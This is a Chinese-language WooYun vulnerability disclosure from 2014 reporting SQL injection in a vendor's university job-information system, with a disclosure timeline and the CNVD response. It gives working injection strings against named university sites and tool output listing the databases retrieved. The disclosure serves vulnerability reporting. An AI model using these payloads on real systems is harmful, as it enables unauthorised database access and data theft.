漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-056712
漏洞标题：某通用高校就业信息服务系统多处SQL注入
相关厂商：cncert国家互联网应急中心
漏洞作者： xfkxfk
提交时间：2014-04-11 18:50
修复时间：2014-07-10 18:51
公开时间：2014-07-10 18:51
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-04-11： 细节已通知厂商并且等待厂商处理中
2014-04-16： 厂商已经确认，细节仅向厂商公开
2014-04-19： 细节向第三方安全合作伙伴开放
2014-06-10： 细节向核心白帽子及相关领域专家公开
2014-06-20： 细节向普通白帽子公开
2014-06-30： 细节向实习白帽子公开
2014-07-10： 细节向公众公开
简要描述：
某通用高校就业信息服务系统多处SQL注入
详细说明：
上海甲鼎信息技术有限公司，高校就业信息服务系统
官网：http://www.infojiading.cn/
关键字：技术支持：上海甲鼎信息技术有限公司
上海立达职业技术学院学生就业信息服务网：http://www.lidapoly.edu.cn/job/asearch.asp
上海医疗器械高等专科学校学生处就业指导中心:http://job.smic.edu.cn/EntRegister1.asp
上海商学院就业指导服务中心:http://jiuye.sbs.edu.cn/EnterpriseReg.asp
等等
第一处SQL注入：
在搜索处存在SQL注入漏洞，可直接注入出数据。
以上海立达职业技术学院学生就业信息服务网：http://www.lidapoly.edu.cn/job/asearch.asp为例：
链接：http://www.lidapoly.edu.cn/job/asearch.asp
POST：Field=%D0%C5%CF%A2%B1%EA%CC%E2&ClassID=&keyword=123%25%27+and+db_name%28%29%3E0--&Submit1=+%CB%D1%CB%F7+
keyword参数存在注入，上面的语句可以注入出数据库名：IJCenterOfCareer
第二处SQL注入：
在企业注册时，检测用户名是否存在时，存在SQL注入。
以上海医疗器械高等专科学校学生处就业指导中心为例：
http://job.smic.edu.cn/conformID.asp?Tid=111111' and db_name()>0--,
上面的语句可以注入出数据库名：IJCenterOfCareer
第三处SQL注入：
在企业注册时，检测企业名称时否存在时，Tname参数存在SQL注入。
以上海医疗器械高等专科学校学生处就业指导中心为例：
http://job.smic.edu.cn/conformID.asp?Tname=111111' and db_name()>0--,
上面的语句可以注入出数据库名：IJCenterOfCareer
漏洞证明：
---
[18:20:26] [INFO] testing Microsoft SQL Server
[18:20:26] [INFO] confirming Microsoft SQL Server
[18:20:30] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[18:20:30] [INFO] fetching database names
[18:20:30] [INFO] the SQL query used returns 10 entries
[18:20:30] [INFO] retrieved: IJCenterOfCareer
[18:20:30] [INFO] retrieved: master
[18:20:34] [INFO] retrieved: model
[18:20:34] [INFO] retrieved: msdb
[18:20:34] [INFO] retrieved: Northwind
[18:20:34] [INFO] retrieved: pubs
[18:20:34] [INFO] retrieved: tempdb
[18:20:34] [INFO] retrieved: xuegong
[18:20:34] [INFO] retrieved: xuegongtest
available databases [10]:
[*] IJCenterOfCareer
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] xuegong
[*] xuegongtest
修复方案：
过滤
版权声明：转载请注明来源 xfkxfk@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2014-04-16 15:50
厂商回复：
CNVD经过测试，确认所述注入点并非各个实例通用，将所述多处注入合并为该通用软件存在的广泛SQL注入漏洞，不区分注入点，建议用过滤方式修复。
由CNVD尝试通过公开联系渠道向厂商通报，并同步协调教育网应急组织（赛尔网络公司），抄报CCERT和上海交通大学。
最新状态：
暂无